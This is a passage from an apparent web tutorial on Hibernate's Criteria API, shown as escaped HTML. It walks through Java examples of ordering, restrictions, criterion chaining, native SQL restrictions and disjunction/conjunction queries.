&lt;span id="cb1-3"&gt;&lt;a aria-hidden="true" href="#cb1-3" tabindex="-1"&gt;&lt;/a&gt;q&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setDouble&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"priceTotalLower"&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt; &lt;span class="bu"&gt;Double&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;parseDouble&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;lower&lt;span class="op"&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb1-4"&gt;&lt;a aria-hidden="true" href="#cb1-4" tabindex="-1"&gt;&lt;/a&gt;q&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setDouble&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"priceTotalUpper"&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt;&lt;span class="bu"&gt;Double&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;parseDouble&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;upper&lt;span class="op"&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb1-5"&gt;&lt;a aria-hidden="true" href="#cb1-5" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="bu"&gt;List&lt;/span&gt; list &lt;span class="op"&gt;=&lt;/span&gt; q&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;list&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;In comparison to the Criteria API, the above query gets reduced to
simple two lines with more comprehension and understanding of the
functionality.&lt;/p&gt;
&lt;div class="sourceCode" id="cb2"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb2-1"&gt;&lt;a aria-hidden="true" href="#cb2-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="bu"&gt;List&lt;/span&gt; list &lt;span class="op"&gt;=&lt;/span&gt; sess&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;createCriteria&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Order&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;class&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb2-2"&gt;&lt;a aria-hidden="true" href="#cb2-2" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;add&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Restrictions&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;between&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;lower&lt;span class="op"&gt;,&lt;/span&gt;upper&lt;span class="op"&gt;).&lt;/span&gt;&lt;span class="fu"&gt;list&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;In addition to the conciseness and readability, following are some of
the best parts of using the Criteria API&lt;/p&gt;
&lt;ol type="1"&gt;
&lt;li&gt;Aspects of the relational approach&lt;/li&gt;
&lt;li&gt;Reduces the complexity&lt;/li&gt;
&lt;li&gt;Multi-criteria search functionalities&lt;/li&gt;
&lt;li&gt;Building Hibernate Queries on the fly&lt;/li&gt;
&lt;li&gt;Knowledge of SQL not necessary&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Extensible&lt;/strong&gt; since it uses OO methodology&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Interoperable&lt;/strong&gt; since it has provision for including
native SQL clauses also&lt;/li&gt;
&lt;li&gt;Rich set of comparison operators&lt;/li&gt;
&lt;li&gt;Business Objects as query parameters, without having to use primary
and foreign key references&lt;/li&gt;
&lt;li&gt;Optimizing queries by providing various JOIN Strategies&lt;/li&gt;
&lt;li&gt;Provides cleaner, clearer, more reliable and more maintainable
code.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="what-is-criteria-api"&gt;What is Criteria API?&lt;/h3&gt;
&lt;p&gt;There are five core components of the Criteria API.&lt;/p&gt;
&lt;ol type="1"&gt;
&lt;li&gt;Criteria&lt;/li&gt;
&lt;li&gt;Criterion&lt;/li&gt;
&lt;li&gt;Restrictions&lt;/li&gt;
&lt;li&gt;Projection&lt;/li&gt;
&lt;li&gt;Order&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Criteria class provides the gateway to working with criteria APIs.
Criterion class is the object-oriented representation of the relational
criterion. Restriction API provides the built-in types for Criterion.
Essentially, the Restriction class is a factory to the Criterion class.
All of its methods are static.&lt;/p&gt;
&lt;p&gt;In Hibernate 2.x, the Expression class provided the services that are
now provided by the Restriction class. The Restriction class provides
almost all the required restrictions such as equals (eq()), logical and
(and()), like (like()) Aggregation and Grouping are provided by the
Projection class. Order class represents the “order by” clause of
SQL.&lt;/p&gt;
&lt;h3 id="order-interface"&gt;Order Interface&lt;/h3&gt;
&lt;p&gt;In HQL (and SQL), the order by clause allows you to order your query
results. This is done using the addOrder() method and the Order class
The SQL will have the order clause in the sequence the Order objects
were added to the Critieria.&lt;/p&gt;
&lt;div class="sourceCode" id="cb3"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb3-1"&gt;&lt;a aria-hidden="true" href="#cb3-1" tabindex="-1"&gt;&lt;/a&gt;Criteria crit &lt;span class="op"&gt;=&lt;/span&gt; session&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;createCriteria&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Sale&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;class&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt; &lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb3-2"&gt;&lt;a aria-hidden="true" href="#cb3-2" tabindex="-1"&gt;&lt;/a&gt;crit&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;addOrder&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt; Order&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;desc&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"date"&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt; &lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb3-3"&gt;&lt;a aria-hidden="true" href="#cb3-3" tabindex="-1"&gt;&lt;/a&gt;crit&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;addOrder&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt; Order&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;asc&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"product.number"&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt; &lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="simple-criteria-query"&gt;Simple Criteria Query&lt;/h3&gt;
&lt;p&gt;The following code shows how a simple Criteria query is built.&lt;/p&gt;
&lt;ol type="1"&gt;
&lt;li&gt;It selects the Insurance Object&lt;/li&gt;
&lt;li&gt;Includes a Where clause insurance name like ‘%a%’&lt;/li&gt;
&lt;li&gt;Includes another Where clause investmentAmount value between 1000
and 2500 inclusive&lt;/li&gt;
&lt;li&gt;Sets the number of maximum results as 5&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="sourceCode" id="cb4"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb4-1"&gt;&lt;a aria-hidden="true" href="#cb4-1" tabindex="-1"&gt;&lt;/a&gt;session &lt;span class="op"&gt;=&lt;/span&gt; sessionFactory&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;openSession&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-2"&gt;&lt;a aria-hidden="true" href="#cb4-2" tabindex="-1"&gt;&lt;/a&gt;Criteria crit &lt;span class="op"&gt;=&lt;/span&gt; session&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;createCriteria&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Insurance&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;class&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-3"&gt;&lt;a aria-hidden="true" href="#cb4-3" tabindex="-1"&gt;&lt;/a&gt;crit&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;add&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Restrictions&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;like&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"insuranceName"&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt; &lt;span class="st"&gt;"%a%"&lt;/span&gt;&lt;span class="op"&gt;));&lt;/span&gt; &lt;/span&gt;
&lt;span id="cb4-4"&gt;&lt;a aria-hidden="true" href="#cb4-4" tabindex="-1"&gt;&lt;/a&gt;crit&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;add&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="bu"&gt;Expression&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;between&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"investAmount"&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="bu"&gt;Integer&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="dv"&gt;1000&lt;/span&gt;&lt;span class="op"&gt;),&lt;/span&gt;&lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="bu"&gt;Integer&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="dv"&gt;2500&lt;/span&gt;&lt;span class="op"&gt;)));&lt;/span&gt; &lt;/span&gt;
&lt;span id="cb4-5"&gt;&lt;a aria-hidden="true" href="#cb4-5" tabindex="-1"&gt;&lt;/a&gt;crit&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setMaxResults&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="dv"&gt;5&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt; &lt;/span&gt;
&lt;span id="cb4-6"&gt;&lt;a aria-hidden="true" href="#cb4-6" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="bu"&gt;List&lt;/span&gt; insurances &lt;span class="op"&gt;=&lt;/span&gt; crit&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;list&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-7"&gt;&lt;a aria-hidden="true" href="#cb4-7" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="cf"&gt;for&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="bu"&gt;Iterator&lt;/span&gt; it &lt;span class="op"&gt;=&lt;/span&gt;insurances&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;iterator&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;it&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;hasNext&lt;/span&gt;&lt;span class="op"&gt;();){&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-8"&gt;&lt;a aria-hidden="true" href="#cb4-8" tabindex="-1"&gt;&lt;/a&gt;    Insurance insurance &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="op"&gt;(&lt;/span&gt;Insurance&lt;span class="op"&gt;)&lt;/span&gt; it&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;next&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-9"&gt;&lt;a aria-hidden="true" href="#cb4-9" tabindex="-1"&gt;&lt;/a&gt;  &lt;span class="bu"&gt;System&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;out&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;println&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"ID: "&lt;/span&gt; &lt;span class="op"&gt;+&lt;/span&gt; insurance&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;getLngInsuranceId&lt;/span&gt;&lt;span class="op"&gt;());&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-10"&gt;&lt;a aria-hidden="true" href="#cb4-10" tabindex="-1"&gt;&lt;/a&gt;  &lt;span class="bu"&gt;System&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;out&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;println&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"Name: "&lt;/span&gt; &lt;span class="op"&gt;+&lt;/span&gt; insurance&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;getInsuranceName&lt;/span&gt;&lt;span class="op"&gt;());&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-11"&gt;&lt;a aria-hidden="true" href="#cb4-11" tabindex="-1"&gt;&lt;/a&gt;  &lt;span class="bu"&gt;System&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;out&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;println&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"Amount: "&lt;/span&gt; &lt;span class="op"&gt;+&lt;/span&gt; insurance&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;getInvestAmount&lt;/span&gt;&lt;span class="op"&gt;());&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb4-12"&gt;&lt;a aria-hidden="true" href="#cb4-12" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="op"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="criterion-chaining"&gt;Criterion Chaining&lt;/h3&gt;
&lt;p&gt;This is a popular method of adding Restrictions, Expressions,
Projections and Order object without the need to create additional
Objects. This is particularly useful when the Criteria Objects which are
extensible are needed to be passed between methods.&lt;/p&gt;
&lt;div class="sourceCode" id="cb5"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb5-1"&gt;&lt;a aria-hidden="true" href="#cb5-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="bu"&gt;List&lt;/span&gt; sales &lt;span class="op"&gt;=&lt;/span&gt; session&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;createCriteria&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Sale&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;class&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-2"&gt;&lt;a aria-hidden="true" href="#cb5-2" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;add&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="bu"&gt;Expression&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;ge&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"date"&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt;startDate&lt;span class="op"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-3"&gt;&lt;a aria-hidden="true" href="#cb5-3" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;add&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="bu"&gt;Expression&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;le&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"date"&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt;endDate&lt;span class="op"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-4"&gt;&lt;a aria-hidden="true" href="#cb5-4" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;addOrder&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt; Order&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;asc&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"date"&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt; &lt;span class="op"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-5"&gt;&lt;a aria-hidden="true" href="#cb5-5" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setFirstResult&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="dv"&gt;0&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-6"&gt;&lt;a aria-hidden="true" href="#cb5-6" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setMaxResults&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="dv"&gt;10&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb5-7"&gt;&lt;a aria-hidden="true" href="#cb5-7" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;list&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="restriction-for-where-property"&gt;Restriction for WHERE
property&lt;/h3&gt;
&lt;p&gt;The WHERE clause or &lt;em&gt;Restrictions&lt;/em&gt; can be easily applied via
&lt;code&gt;Restriction.eqProperty()&lt;/code&gt;,
&lt;code&gt;Restriction.neProperty()&lt;/code&gt;,
&lt;code&gt;Restriction.leProperty()&lt;/code&gt; and
&lt;code&gt;Restriction.geProperty()&lt;/code&gt;&lt;/p&gt;
&lt;div class="sourceCode" id="cb6"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb6-1"&gt;&lt;a aria-hidden="true" href="#cb6-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;// Adds a WHERE Clause for comparing two columns,&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-2"&gt;&lt;a aria-hidden="true" href="#cb6-2" tabindex="-1"&gt;&lt;/a&gt;session&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;createCriteria&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Sale&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;class&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-3"&gt;&lt;a aria-hidden="true" href="#cb6-3" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;eqProperty&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"saleDate"&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt;&lt;span class="st"&gt;"releaseDate"&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb6-4"&gt;&lt;a aria-hidden="true" href="#cb6-4" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;list&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Restriction still allows custom restrictions added using
&lt;code&gt;Restrictions.sqlRestriction&lt;/code&gt;&lt;/p&gt;
&lt;div class="sourceCode" id="cb7"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb7-1"&gt;&lt;a aria-hidden="true" href="#cb7-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;// Adds a native SQL Restriction in the WHERE Clause&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb7-2"&gt;&lt;a aria-hidden="true" href="#cb7-2" tabindex="-1"&gt;&lt;/a&gt;sess&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;createCriteria&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Cat&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;class&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb7-3"&gt;&lt;a aria-hidden="true" href="#cb7-3" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;add&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Restrictions&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;sqlRestriction&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"lower({alias}.name) like lower(?)"&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt; &lt;span class="st"&gt;"Fritz%"&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt;Hibernate&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;STRING&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt; &lt;span class="op"&gt;)&lt;/span&gt; &lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;list&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;All the static methods available in Restrictions are also
available in the Expression API. Also it contains some additional
methods such as ilike(“columnname”) which does a lower(columnname) in
the query.&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="disjunction-and-conjunction"&gt;Disjunction and Conjunction:&lt;/h3&gt;
&lt;p&gt;Disjunction and Conjunction are excellent APIs which help perform
complex search criteria simple to develop and maintain.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Disjunction&lt;/strong&gt; indicates a group of Criterion to be
&lt;strong&gt;ORed&lt;/strong&gt;&lt;/p&gt;
&lt;div class="sourceCode" id="cb8"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb8-1"&gt;&lt;a aria-hidden="true" href="#cb8-1" tabindex="-1"&gt;&lt;/a&gt;Disjunction disList &lt;span class="op"&gt;=&lt;/span&gt; Restrictions&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;disjunction&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb8-2"&gt;&lt;a aria-hidden="true" href="#cb8-2" tabindex="-1"&gt;&lt;/a&gt;disList&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;add&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Restrictions&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;eq&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"id"&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt;&lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="bu"&gt;Integer&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="dv"&gt;1&lt;/span&gt;&lt;span class="op"&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb8-3"&gt;&lt;a aria-hidden="true" href="#cb8-3" tabindex="-1"&gt;&lt;/a&gt;disList&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;add&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Restrictions&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;eq&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"id"&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt;&lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="bu"&gt;Integer&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="dv"&gt;2&lt;/span&gt;&lt;span class="op"&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb8-4"&gt;&lt;a aria-hidden="true" href="#cb8-4" tabindex="-1"&gt;&lt;/a&gt;sess&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;createCriteria&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Cat&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;class&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt; &lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;add&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;disList&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb8-5"&gt;&lt;a aria-hidden="true" href="#cb8-5" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;// This gives the WHERE Clause WHERE (id=1 OR id=2)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Conjunction&lt;/strong&gt; indicates a group of Critierion to be
&lt;strong&gt;ANDed&lt;/strong&gt;&lt;/p&gt;
&lt;div class="sourceCode" id="cb9"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb9-1"&gt;&lt;a aria-hidden="true" href="#cb9-1" tabindex="-1"&gt;&lt;/a&gt;Conjunction conList &lt;span class="op"&gt;=&lt;/span&gt; Restrictions&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;conjunction&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb9-2"&gt;&lt;a aria-hidden="true" href="#cb9-2" tabindex="-1"&gt;&lt;/a&gt;conList&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;add&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Restrictions&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;eq&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"id"&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt;&lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="bu"&gt;Integer&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="dv"&gt;1&lt;/span&gt;&lt;span class="op"&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb9-3"&gt;&lt;a aria-hidden="true" href="#cb9-3" tabindex="-1"&gt;&lt;/a&gt;conList&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;add&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Restrictions&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;eq&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"id"&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt;&lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="bu"&gt;Integer&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="dv"&gt;2&lt;/span&gt;&lt;span class="op"&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb9-4"&gt;&lt;a aria-hidden="true" href="#cb9-4" tabindex="-1"&gt;&lt;/a&gt;sess&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;createCriteria&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Cat&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;class&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt; &lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;add&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;conList&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
